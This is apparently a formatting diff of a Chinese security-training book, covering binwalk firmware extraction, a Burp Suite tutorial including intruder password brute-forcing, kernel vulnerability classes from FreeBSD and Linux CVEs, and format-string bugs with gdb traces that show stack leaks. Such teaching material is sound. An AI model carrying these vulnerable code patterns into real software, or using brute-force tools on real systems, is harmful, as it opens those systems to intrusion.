DECIMAL HEX DESCRIPTION
|
||||
-------------------------------------------------------------------------------------------------------------------
|
||||
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
|
||||
112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3797616 bytes
|
||||
1310832 0x140070 PackImg section delimiter tag, little endian size: 13644032 bytes; big endian size: 3264512 bytes
|
||||
1310864 0x140090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3264162 bytes, 1866 inodes, blocksize: 65536 bytes, created: Tue Apr 3 04:12:22 2012
|
||||
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/2"
|
||||
112 0x70 LZMA compressed data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size: 3797616 bytes
|
||||
1310832 0x140070 PackImg section delimiter tag, little endian size: 13644032 bytes; big endian size: 3264512 bytes
|
||||
1310864 0x140090 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 3264162 bytes, 1866 inodes, blocksize: 65536 bytes, created: Tue Apr 3 04:12:22 2012
|
||||
```
|
||||
|
||||
#### 文件提取
|
||||
### 文件提取
|
||||
|
||||
可以使用 binwalk 的 `-e` 参数来提取固件中的文件:
|
||||
|
||||
```shell
|
||||
$ binwalk -e firmware.bin
|
||||
```
|
||||
|
||||
如果你还指定了 `-M` 选项,binwalk 甚至会递归扫描文件,因为它会提取它们:
|
||||
|
||||
```shell
|
||||
$ binwalk -Me firmware.bin
|
||||
```
|
||||
|
||||
如果指定了 `-r` 选项,则将自动删除无法提取的任何文件签名或导致大小为 0 的文件:
|
||||
|
||||
```shell
|
||||
$ binwalk -Mre firmware.bin
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
@ -5,21 +5,22 @@
|
||||
- [快速入门](#快速入门)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## BurpSuite 介绍
|
||||
|
||||
Burp Suite 是一款强大的 Web 渗透测试套件,主要功能包括代理截获、网页爬虫、Web 漏洞扫描、定制化爆破等,结合 Burp 的插件系统,还可以进行更加丰富多样的漏洞发掘。
|
||||
|
||||
可以从[官网](https://portswigger.net/burp)获取到社区版的 Burp,社区版的 Burp 有一些功能限制,但是可以通过其他渠道获取到专业版。Burp 使用 Java 语言编程,可以跨平台运行。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
在官网上选择适合自己版本的 Burp,官网提供多平台的安装包,在保证系统拥有 Java 环境的基础上,推荐直接下载 Jar file 文件。
|
||||
|
||||
下载完成后双击 burpsuite_community_v1.x.xx.jar 即可运行,其他安装方式遵循相关指示安装即可。
|
||||
|
||||
|
||||
## 快速入门
|
||||
#### proxy
|
||||
|
||||
### proxy
|
||||
|
||||
Burp 使用的第一步是实现浏览器到 Burp 的代理,以 Firefox 为例
|
||||
|
||||
选择 *选项* ——> *高级* ——> *网络* ——> *连接 设置* ——>配置代理到本机的未占用端口(默认使用 8080 端口)
|
||||
@ -28,14 +29,16 @@ Burp 使用的第一步是实现浏览器到 Burp 的代理,以 Firefox 为例
|
||||
|
||||
在 Firefox 的代理状态下,访问 HTTP 协议的网页即可在Burp中截获交互的报文,可以使用Firefox插件-Toggle Proxy来快速切换代理模式。
|
||||
|
||||
#### HTTPS 下的 proxy(老版本 Burp )
|
||||
### HTTPS 下的 proxy(老版本 Burp )
|
||||
|
||||
新版 Burp(1.7.30)已经不需要单独导入证书即可抓包,而老版 Burp Https 协议需要浏览器导入 Burp 证书才可正常抓包,具体操作见参考文档。
|
||||
|
||||
![](../pic/2.4.5_proxy1.png)
|
||||
![img](../pic/2.4.5_proxy1.png)
|
||||
|
||||
![](../pic/2.4.5_proxy2.png)
|
||||
![img](../pic/2.4.5_proxy2.png)
|
||||
|
||||
### intruder
|
||||
|
||||
#### intruder
|
||||
intruder 常用于口令爆破,当然作为支持批量可编程的网页重发器,它还有许多有趣的玩法。
|
||||
|
||||
使用步骤:
|
||||
@ -48,17 +51,18 @@ intruder 常用于口令爆破,当然作为支持批量可编程的网页重
|
||||
6. 在子选项栏 “Options” 中可以添加更加复杂的爆破结果匹配模式
|
||||
7. 选择完成后,点击右上角的 “Start attack” 开始爆破
|
||||
|
||||
![](../pic/2.4.5_intruder1.png)
|
||||
![img](../pic/2.4.5_intruder1.png)
|
||||
|
||||
![](../pic/2.4.5_intruder2.png)
|
||||
![img](../pic/2.4.5_intruder2.png)
|
||||
|
||||
![](../pic/2.4.5_intruder3.png)
|
||||
![img](../pic/2.4.5_intruder3.png)
|
||||
|
||||
### repeater
|
||||
|
||||
#### repeater
|
||||
repeater 用于单一报文的重复发包测试,在 proxy 界面报文包只能发送一次,通过右键 “Send to Repeater” 可以在 repeater 界面反复发包测试。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [新手教程](http://www.freebuf.com/articles/web/100377.html)
|
||||
- [Kali 中文网-Burp 教程](http://www.kali.org.cn/forum-80-1.html)
|
||||
- [Burp 测试插件推荐](https://www.waitalone.cn/burpsuite-plugins.html)
|
||||
|
@ -4,10 +4,10 @@
|
||||
- [安装](#安装)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
## 安装
|
||||
|
||||
## 参考资料
|
||||
- https://cuckoosandbox.org/
|
||||
|
||||
- <https://cuckoosandbox.org/>
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Linux Kernel ROP - Ropping your way to # (Part 1)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-1)/)
|
||||
- [Linux Kernel ROP - Ropping your way to # (Part 2)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Linux-Kernel-ROP---Ropping-your-way-to---(Part-2)/)
|
||||
|
@ -5,7 +5,6 @@
|
||||
- [内核利用方法](#内核利用方法)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 从用户态到内核态
|
||||
|
||||
| 企图 | 用户态漏洞利用 | 内核态漏洞利用 |
|
||||
@ -15,12 +14,14 @@
|
||||
| 执行 shellcode| shellcode 可以利用已经通过安全和正确性保证的用户态门来进行内核系统调用 | shellcode 在更高的权限级别上执行,并且必须在不惊动系统的情况下正确地返回到应用程序 |
|
||||
| 绕过反漏洞利用保护措施 | 这要求越来越复杂的方法 | 大部分保护措施在内核态,但并不能保护内核本身。攻击者甚至能禁用大部分保护措施 |
|
||||
|
||||
|
||||
## 内核漏洞分类
|
||||
#### 未初始化的、未验证的、已损坏的指针解引用
|
||||
|
||||
### 未初始化的、未验证的、已损坏的指针解引用
|
||||
|
||||
这类漏洞涵盖了所有使用指针的情况,所指内容遭到破坏、没有被正确设置、或者是没有做足够的验证。
|
||||
|
||||
我们知道一个静态声明的指针被初始化为 NULL,但其他情况下这些指针被明确地赋值之前,都是未初始化的,它的值是存放指针处的内存里的任意内容。例如下面这样,指针被存放在栈上,而它的内容是之前函数留在栈上的 "A" 字符串:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -41,7 +42,8 @@ int main() {
|
||||
ptr_un_initialized();
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc -fno-stack-protector pointer.c
|
||||
$ ./a.out
|
||||
Big stack: 0x7fffd6b0e400 ~ 0x7fffd6b0e500
|
||||
@ -49,6 +51,7 @@ Pointer value: 0x7fffd6b0e4f8 => 0x4141414141414141
|
||||
```
|
||||
|
||||
下面看一个真实的例子,来自 FreeBSD8.0:
|
||||
|
||||
```c
|
||||
struct ucred ucred, *ucp; // [1]
|
||||
[...]
|
||||
@ -58,7 +61,9 @@ struct ucred ucred, *ucp; // [1]
|
||||
ucred.cr_groups[0] = dp->i_gid; // [2]
|
||||
ucp = &ucred;
|
||||
```
|
||||
|
||||
[1] 处的 `ucred` 在栈上进行了声明,然后 `cr_groups[0]` 被赋值为 `dp->i_gid`。遗憾的是,`struct ucred` 结构体的定义是这样的:
|
||||
|
||||
```c
|
||||
struct ucred {
|
||||
u_int cr_ref; /* reference count */
|
||||
@ -67,11 +72,13 @@ struct ucred {
|
||||
int cr_agroups; /* Available groups */
|
||||
};
|
||||
```
|
||||
|
||||
我们看到 `cr_groups` 是一个指针,而且没有被初始化就直接使用。这也就意味着,`dp->i_gid` 的值在 `ucred` 被分配时被写入到栈上的任意地址。
|
||||
|
||||
继续看未经验证的指针,这往往发生在多用户的内核地址空间中。我们知道内核空间位于用户空间的上面,它的页表在所有进程的页表中都有备份。有些虚拟地址被选做限制地址,限定地址以上或以下的虚拟地址归内核使用,而其他的归用户空间使用。内核函数也就是使用这个限定地址来判断一个指针指向的是内核还是用户空间。如果是前者,则可能只需做少量的验证,但如果是后者,则要格外小心,否则一个用户空间的地址可能在不受控制的情况下被解引用。
|
||||
|
||||
看一个 Linux 的例子,CVE-2008-0009:
|
||||
|
||||
```c
|
||||
error = get_user(base, &iov->iov_base); // [1]
|
||||
[...]
|
||||
@ -93,11 +100,13 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s
|
||||
[...]
|
||||
}
|
||||
```
|
||||
|
||||
代码的第一部分来自函数 `vmsplice_to_user()`,在 [1] 处使用了 `get_user()` 获得了目的指针。该目的指针未经检查就默认它是一个用户地址指针,然后通过 [2] 传递给了 `__splice_from_pipe()`,同时传递函数 `pipe_to_user` 作为 helper function。这个函数依然是未经检查就调用了 `__copy_to_user_inatomic()`[3],对该指针做解引用的操作,如果攻击者传递的是一个内核地址,则利用该漏洞能够写入任意数据到任意的内核内存中。这里要知道的还有 Linux 中以两个下划线开头的函数(例如 `__copy_to_user_inatomic()`)是不会对所提供的目的(或源)用户指针做任何检查的。
|
||||
|
||||
最后,一个被损坏的指针往往是其他漏洞的结果(例如缓冲区溢出),攻击者可以任意修改指针的内容,获得更多的控制权。
|
||||
|
||||
#### 内存破坏漏洞
|
||||
### 内存破坏漏洞
|
||||
|
||||
这类漏洞是由于程序的错误操作重写了内核空间的内存(包括内核栈和内核堆)导致的。
|
||||
|
||||
内核栈在每次进程进入到内核态时发挥作用。内核栈与用户栈基本相同,但也有一些细小的差别,例如它的大小通常是受限制的。另外,所有进程的内核栈都是一块相同的内核地址空间中的一部分,所以他们开始于不同的虚拟地址并且占据不同的虚拟地址空间。
|
||||
@ -106,7 +115,8 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s
|
||||
|
||||
针对内核堆的漏洞往往是缓冲区溢出造成的。通过溢出,重写了溢出块后面的块,或者重写了缓存相关的元数据,都可能造成漏洞利用。
|
||||
|
||||
#### 整数误用
|
||||
### 整数误用
|
||||
|
||||
整数溢出和符号转换错误是最常见的两种整数误用漏洞。这类漏洞往往不容易单独利用,但它可能会导致另外的一些漏洞(例如内存溢出)的发生。
|
||||
|
||||
整数溢出发生在将一个超出整数数据存储范围的数赋值给一个整数变量。在不加控制的加法和乘法运算中如果堆参见运算的参数不加验证,也有可能发生整数溢出。
|
||||
@ -114,6 +124,7 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf, s
|
||||
符号转换错误发生在将一个无符号数当做有符号数处理的时候。一个经典的场景是,一个有符号数经过某个最大值检测后传入一个函数,而这个函数只接收无符号数。
|
||||
|
||||
看一个 FreeBSD V6.0 的例子:
|
||||
|
||||
```c
|
||||
int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td)
|
||||
{
|
||||
@ -140,21 +151,27 @@ int fw_ioctl (struct cdev *dev, u_long cmd, caddr_t data, int flag, fw_proc *td)
|
||||
err = copyout(ptr, crom_buf->ptr, len); [4]
|
||||
}
|
||||
```
|
||||
|
||||
[1] 处的 `len` 是有符号整数,`crom_buf->len` 也是有符号数并且该值是我们可以控制的,如果它被设为一个负数,那么无论 `len` 的值是什么,[3] 处的条件都会满足。然后在 [4] 处,`copyout()` 被调用,该函数原型如下:
|
||||
|
||||
```c
|
||||
int copyout(const void *__restrict kaddr, void *__restrict udaddr, size_t len) __nonnull(1) __nonnull(2);
|
||||
```
|
||||
|
||||
第三个参数的类型 `size_t` 是一个无符号整数,所以当 `len` 是一个负数的时候,会被认为是一个很大的正整数,造成任意内核内存读取。
|
||||
|
||||
更多内存可以参见章节 3.1.2。
|
||||
|
||||
#### 竞态条件
|
||||
### 竞态条件
|
||||
|
||||
如果有两个或两个以上执行者将要执行某一动作并且执行结果会由于它们执行顺序的不同而完全不同时,也就是发生了竞争条件。避免竞争条件的方法有很多,例如通过锁、信号量、条件变量等来保证各种行动者之间的同步性。竞争条件中最重要的一点是可竞争窗口的大小,它对于触发竞态条件的难易至关重要,由于这个原因,一些竞态条件的情况只能在对称多处理器(SMP)中被利用。
|
||||
|
||||
#### 逻辑 bug
|
||||
### 逻辑 bug
|
||||
|
||||
逻辑 bug 有很多种,下面介绍一个引用计数器溢出。我们知道共享资源都有一个引用计数,并在计数为零时释放掉资源,保持足够的内存空间。操作系统往往提供 get 和 put/drop 这样的函数来显式地增加和减少引用计数。
|
||||
|
||||
看一个 FreeBSD V5.0 的例子:
|
||||
|
||||
```c
|
||||
int fpathconf(td, uap)
|
||||
struct thread *td;
|
||||
@ -180,14 +197,14 @@ out:
|
||||
return (error);
|
||||
}
|
||||
```
|
||||
`fpathconf()` 系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 `fget()` 获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 `fdrop()` 释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 `fpathconf()` 并触发 [2] 处的返回,则有可能导致引用计数器的溢出。
|
||||
|
||||
`fpathconf()` 系统调用用于获取一个特定的开放的文件描述符信息。所以该调用开头 [1] 处通过 `fget()` 获取该文件描述符结构的引用,然后在退出的时候 [3] 处通过 `fdrop()` 释放该引用。然而在 [2] 处的代码没有释放相关的引用计数就直接返回了。如果多次调用 `fpathconf()` 并触发 [2] 处的返回,则有可能导致引用计数器的溢出。
|
||||
|
||||
## 内核利用方法
|
||||
|
||||
|
||||
## 参考资料
|
||||
- <<A Guide to Kernel Exploitation: Attacking the Core>>
|
||||
|
||||
- A Guide to Kernel Exploitation: Attacking the Core
|
||||
- [Kernel memory corruption, ucred.cr_groups[]](https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=138657)
|
||||
- [CVE-2008-0009/CVE-2008-0010: Linux kernel vmsplice(2) Privilege Escalation](https://xorl.wordpress.com/2009/08/10/cve-2008-0600cve-2008-0010-linux-kernel-vmsplice2-privilege-escalation/)
|
||||
- [FreeBSD FireWire IOCTL kernel integer overflow information disclousure](https://www.kernelhacking.com/bsdadv1.txt)
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [HackSys Extreme Vulnerable Driver](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
|
||||
- [windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
||||
|
@ -7,12 +7,11 @@
|
||||
- [CTF 中的格式化字符串漏洞](#ctf-中的格式化字符串漏洞)
|
||||
- [扩展阅读](#扩展阅读)
|
||||
|
||||
|
||||
## 格式化输出函数和格式字符串
|
||||
|
||||
在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
|
||||
|
||||
#### 函数
|
||||
### 函数
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
@ -24,28 +23,28 @@ int sprintf(char *str, const char *format, ...);
|
||||
int snprintf(char *str, size_t size, const char *format, ...);
|
||||
```
|
||||
|
||||
#### 转换指示符
|
||||
### 转换指示符
|
||||
|
||||
字符 | 类型 | 使用
|
||||
--- | --- | ---
|
||||
d | 4-byte | Integer
|
||||
u | 4-byte | Unsigned Integer
|
||||
x | 4-byte | Hex
|
||||
s | 4-byte ptr | String
|
||||
c | 1-byte | Character
|
||||
| 字符 | 类型 | 使用 |
|
||||
| --- | --- | --- |
|
||||
| d | 4-byte | Integer |
|
||||
| u | 4-byte | Unsigned Integer |
|
||||
| x | 4-byte | Hex |
|
||||
| s | 4-byte ptr | String |
|
||||
| c | 1-byte | Character |
|
||||
|
||||
#### 长度
|
||||
### 长度
|
||||
|
||||
字符 | 类型 | 使用
|
||||
--- | --- | ---
|
||||
hh | 1-byte | char
|
||||
h | 2-byte | short int
|
||||
l | 4-byte | long int
|
||||
ll | 8-byte | long long int
|
||||
|字符 | 类型 | 使用 |
|
||||
| --- | --- | --- |
|
||||
| hh | 1-byte | char |
|
||||
| h | 2-byte | short int |
|
||||
| l | 4-byte | long int |
|
||||
| ll | 8-byte | long long int |
|
||||
|
||||
#### 示例
|
||||
### 示例
|
||||
|
||||
```
|
||||
```c
|
||||
#include<stdio.h>
|
||||
#include<stdlib.h>
|
||||
void main() {
|
||||
@ -54,6 +53,7 @@ void main() {
|
||||
printf(format, arg1);
|
||||
}
|
||||
```
|
||||
|
||||
```c
|
||||
printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
|
||||
printf("%.2f", 1.2345); // 1.23
|
||||
@ -62,47 +62,49 @@ printf("%#010x", 3735928559); // 0xdeadbeef
|
||||
printf("%s%n", "01234", &n); // n = 5
|
||||
```
|
||||
|
||||
|
||||
## 格式化字符串漏洞基本原理
|
||||
|
||||
在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
printf("%s %d %s", "Hello World!", 233, "\n");
|
||||
printf("%s %d %s", "Hello World!", 233, "\n");
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ disassemble main
|
||||
Dump of assembler code for function main:
|
||||
0x0000053d <+0>: lea ecx,[esp+0x4]
|
||||
0x00000541 <+4>: and esp,0xfffffff0
|
||||
0x00000544 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x00000547 <+10>: push ebp
|
||||
0x00000548 <+11>: mov ebp,esp
|
||||
0x0000054a <+13>: push ebx
|
||||
0x0000054b <+14>: push ecx
|
||||
0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
|
||||
0x00000551 <+20>: add eax,0x1aaf
|
||||
0x00000556 <+25>: lea edx,[eax-0x19f0]
|
||||
0x0000055c <+31>: push edx
|
||||
0x0000055d <+32>: push 0xe9
|
||||
0x00000562 <+37>: lea edx,[eax-0x19ee]
|
||||
0x00000568 <+43>: push edx
|
||||
0x00000569 <+44>: lea edx,[eax-0x19e1]
|
||||
0x0000056f <+50>: push edx
|
||||
0x00000570 <+51>: mov ebx,eax
|
||||
0x00000572 <+53>: call 0x3d0 <printf@plt>
|
||||
0x00000577 <+58>: add esp,0x10
|
||||
0x0000057a <+61>: nop
|
||||
0x0000057b <+62>: lea esp,[ebp-0x8]
|
||||
0x0000057e <+65>: pop ecx
|
||||
0x0000057f <+66>: pop ebx
|
||||
0x00000580 <+67>: pop ebp
|
||||
0x00000581 <+68>: lea esp,[ecx-0x4]
|
||||
0x00000584 <+71>: ret
|
||||
0x0000053d <+0>: lea ecx,[esp+0x4]
|
||||
0x00000541 <+4>: and esp,0xfffffff0
|
||||
0x00000544 <+7>: push DWORD PTR [ecx-0x4]
|
||||
0x00000547 <+10>: push ebp
|
||||
0x00000548 <+11>: mov ebp,esp
|
||||
0x0000054a <+13>: push ebx
|
||||
0x0000054b <+14>: push ecx
|
||||
0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
|
||||
0x00000551 <+20>: add eax,0x1aaf
|
||||
0x00000556 <+25>: lea edx,[eax-0x19f0]
|
||||
0x0000055c <+31>: push edx
|
||||
0x0000055d <+32>: push 0xe9
|
||||
0x00000562 <+37>: lea edx,[eax-0x19ee]
|
||||
0x00000568 <+43>: push edx
|
||||
0x00000569 <+44>: lea edx,[eax-0x19e1]
|
||||
0x0000056f <+50>: push edx
|
||||
0x00000570 <+51>: mov ebx,eax
|
||||
0x00000572 <+53>: call 0x3d0 <printf@plt>
|
||||
0x00000577 <+58>: add esp,0x10
|
||||
0x0000057a <+61>: nop
|
||||
0x0000057b <+62>: lea esp,[ebp-0x8]
|
||||
0x0000057e <+65>: pop ecx
|
||||
0x0000057f <+66>: pop ebx
|
||||
0x00000580 <+67>: pop ebp
|
||||
0x00000581 <+68>: lea esp,[ecx-0x4]
|
||||
0x00000584 <+71>: ret
|
||||
End of assembler dump.
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
@ -114,17 +116,17 @@ ESI: 0xf7f95000 --> 0x1bbd90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd238 --> 0x0
|
||||
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
|
||||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||||
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||||
0x5655556f <main+50>: push edx
|
||||
0x56555570 <main+51>: mov ebx,eax
|
||||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||||
0x56555577 <main+58>: add esp,0x10
|
||||
0x5655557a <main+61>: nop
|
||||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||||
0x5655557e <main+65>: pop ecx
|
||||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||||
0x5655556f <main+50>: push edx
|
||||
0x56555570 <main+51>: mov ebx,eax
|
||||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||||
0x56555577 <main+58>: add esp,0x10
|
||||
0x5655557a <main+61>: nop
|
||||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||||
0x5655557e <main+65>: pop ecx
|
||||
Guessed arguments:
|
||||
arg[0]: 0x5655561f ("%s %d %s")
|
||||
arg[1]: 0x56555612 ("Hello World!")
|
||||
@ -138,27 +140,32 @@ arg[3]: 0x56555610 --> 0x6548000a ('\n')
|
||||
0016| 0xffffd230 --> 0xffffd250 --> 0x1
|
||||
0020| 0xffffd234 --> 0x0
|
||||
0024| 0xffffd238 --> 0x0
|
||||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555572 in main ()
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ r
|
||||
Continuing
|
||||
Hello World! 233
|
||||
[Inferior 1 (process 27416) exited with code 022]
|
||||
```
|
||||
|
||||
根据 cdecl 的调用约定,在进入 `printf()` 函数之前,将参数从右到左依次压栈。进入 `printf()` 之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 `%`,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:`% d` 和 `%d` 是一样的)
|
||||
|
||||
接下来我们修改一下上面的程序,给格式字符串加上 `%x %x %x %3$s`,使它出现格式化字符串漏洞:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
|
||||
printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
|
||||
}
|
||||
```
|
||||
|
||||
反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
@ -170,17 +177,17 @@ ESI: 0xf7f95000 --> 0x1bbd90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd238 --> 0x0
|
||||
ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||||
EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
|
||||
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||||
0x5655556f <main+50>: push edx
|
||||
0x56555570 <main+51>: mov ebx,eax
|
||||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||||
0x56555577 <main+58>: add esp,0x10
|
||||
0x5655557a <main+61>: nop
|
||||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||||
0x5655557e <main+65>: pop ecx
|
||||
0x56555569 <main+44>: lea edx,[eax-0x19e1]
|
||||
0x5655556f <main+50>: push edx
|
||||
0x56555570 <main+51>: mov ebx,eax
|
||||
=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
|
||||
0x56555577 <main+58>: add esp,0x10
|
||||
0x5655557a <main+61>: nop
|
||||
0x5655557b <main+62>: lea esp,[ebp-0x8]
|
||||
0x5655557e <main+65>: pop ecx
|
||||
Guessed arguments:
|
||||
arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
|
||||
arg[1]: 0x56555612 ("Hello World!")
|
||||
@ -194,11 +201,12 @@ arg[3]: 0x56555610 --> 0x6548000a ('\n')
|
||||
0016| 0xffffd230 --> 0xffffd250 --> 0x1
|
||||
0020| 0xffffd234 --> 0x0
|
||||
0024| 0xffffd238 --> 0x0
|
||||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||||
0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
|
||||
[------------------------------------------------------------------------------]
|
||||
Legend: code, data, rodata, value
|
||||
0x56555572 in main ()
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
@ -206,9 +214,11 @@ Hello World! 233
|
||||
ffffd250 0 0
|
||||
[Inferior 1 (process 27480) exited with code 041]
|
||||
```
|
||||
|
||||
这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 `%x` 打印出了 `0xffffd230~0xffffd238` 栈内的数据,这些都不是我们输入的。而最后一个参数 `%3$s` 是对 `0xffffd22c` 中 `\n` 的重用。
|
||||
|
||||
上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:
|
||||
|
||||
```c
|
||||
#include<stdio.h>
|
||||
void main() {
|
||||
@ -218,6 +228,7 @@ void main() {
|
||||
printf(buf);
|
||||
}
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ n
|
||||
[----------------------------------registers-----------------------------------]
|
||||
@ -229,24 +240,24 @@ ESI: 0xf7f95000 --> 0x1bbd90
|
||||
EDI: 0x0
|
||||
EBP: 0xffffd238 --> 0x0
|
||||
ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
|
||||
EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
|
||||
EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
|
||||
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
|
||||
[-------------------------------------code-------------------------------------]
|
||||
0x56555623 <main+70>: sub esp,0xc
|
||||
0x56555626 <main+73>: lea eax,[ebp-0x3e]
|
||||
0x56555629 <main+76>: push eax
|
||||
=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
|
||||
0x5655562f <main+82>: add esp,0x10
|
||||
0x56555632 <main+85>: jmp 0x56555635 <main+88>
|
||||
0x56555634 <main+87>: nop
|
||||
0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
|
||||
0x56555623 <main+70>: sub esp,0xc
|
||||
0x56555626 <main+73>: lea eax,[ebp-0x3e]
|
||||
0x56555629 <main+76>: push eax
|
||||
=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
|
||||
0x5655562f <main+82>: add esp,0x10
|
||||
0x56555632 <main+85>: jmp 0x56555635 <main+88>
|
||||
0x56555634 <main+87>: nop
|
||||
0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
|
||||
Guessed arguments:
|
||||
arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
|
||||
[------------------------------------stack-------------------------------------]
|
||||
0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
|
||||
0004| 0xffffd1e4 --> 0x32 ('2')
|
||||
0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
|
||||
0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
|
||||
0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
|
||||
0016| 0xffffd1f0 --> 0xffffffff
|
||||
0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
|
||||
0024| 0xffffd1f8 --> 0x65485ea0
|
||||
@ -255,15 +266,18 @@ arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
|
||||
Legend: code, data, rodata, value
|
||||
0x5655562a in main ()
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ c
|
||||
Continuing.
|
||||
Hello 32 f7f95580 565555f4 !
|
||||
[Inferior 1 (process 28253) exited normally]
|
||||
```
|
||||
|
||||
